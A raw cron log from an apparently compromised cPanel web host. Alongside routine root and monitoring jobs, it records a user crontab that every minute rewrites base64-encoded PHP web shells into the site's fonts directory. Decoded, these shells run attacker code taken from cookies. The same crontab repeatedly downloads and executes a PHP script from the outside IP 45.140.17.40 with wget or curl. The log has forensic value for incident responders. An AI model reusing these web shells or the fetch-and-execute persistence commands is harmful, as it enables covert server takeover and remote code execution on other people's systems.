Sep  2 21:43:01 ip-184-168-122-23 CROND[16444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:43:01 ip-184-168-122-23 CROND[16446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:43:01 ip-184-168-122-23 CROND[16447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:44:01 ip-184-168-122-23 CROND[16529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:44:01 ip-184-168-122-23 CROND[16533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:44:01 ip-184-168-122-23 CROND[16534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:44:01 ip-184-168-122-23 CROND[16532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:44:01 ip-184-168-122-23 CROND[16531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:45:01 ip-184-168-122-23 CROND[16618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:45:01 ip-184-168-122-23 CROND[16620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:45:01 ip-184-168-122-23 CROND[16624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:45:01 ip-184-168-122-23 CROND[16622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:45:01 ip-184-168-122-23 CROND[16623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:45:01 ip-184-168-122-23 CROND[16626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:46:01 ip-184-168-122-23 CROND[16720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:46:01 ip-184-168-122-23 CROND[16721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:46:01 ip-184-168-122-23 CROND[16724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:46:01 ip-184-168-122-23 CROND[16730]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 21:46:01 ip-184-168-122-23 CROND[16728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:46:01 ip-184-168-122-23 CROND[16727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:46:01 ip-184-168-122-23 CROND[16729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:47:01 ip-184-168-122-23 CROND[16829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:47:01 ip-184-168-122-23 CROND[16830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:47:01 ip-184-168-122-23 CROND[16833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:47:01 ip-184-168-122-23 CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:48:02 ip-184-168-122-23 CROND[17010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:48:02 ip-184-168-122-23 CROND[17013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:48:02 ip-184-168-122-23 CROND[17018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:48:02 ip-184-168-122-23 CROND[17017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:48:02 ip-184-168-122-23 CROND[17019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:49:01 ip-184-168-122-23 CROND[17097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:49:01 ip-184-168-122-23 CROND[17100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:49:01 ip-184-168-122-23 CROND[17099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:49:01 ip-184-168-122-23 CROND[17101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:50:01 ip-184-168-122-23 CROND[17190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:50:01 ip-184-168-122-23 CROND[17194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:50:01 ip-184-168-122-23 CROND[17193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:51:01 ip-184-168-122-23 CROND[17312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:51:01 ip-184-168-122-23 CROND[17310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:51:01 ip-184-168-122-23 CROND[17311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:51:01 ip-184-168-122-23 CROND[17313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:52:01 ip-184-168-122-23 CROND[17407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:52:01 ip-184-168-122-23 CROND[17409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:52:01 ip-184-168-122-23 CROND[17410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:52:01 ip-184-168-122-23 CROND[17411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:52:01 ip-184-168-122-23 CROND[17412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:53:01 ip-184-168-122-23 CROND[17503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:53:01 ip-184-168-122-23 CROND[17506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:53:01 ip-184-168-122-23 CROND[17504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:53:01 ip-184-168-122-23 CROND[17505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:54:01 ip-184-168-122-23 CROND[17582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:54:01 ip-184-168-122-23 CROND[17586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:54:01 ip-184-168-122-23 CROND[17584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:54:01 ip-184-168-122-23 CROND[17585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:54:01 ip-184-168-122-23 CROND[17588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:55:01 ip-184-168-122-23 CROND[17680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
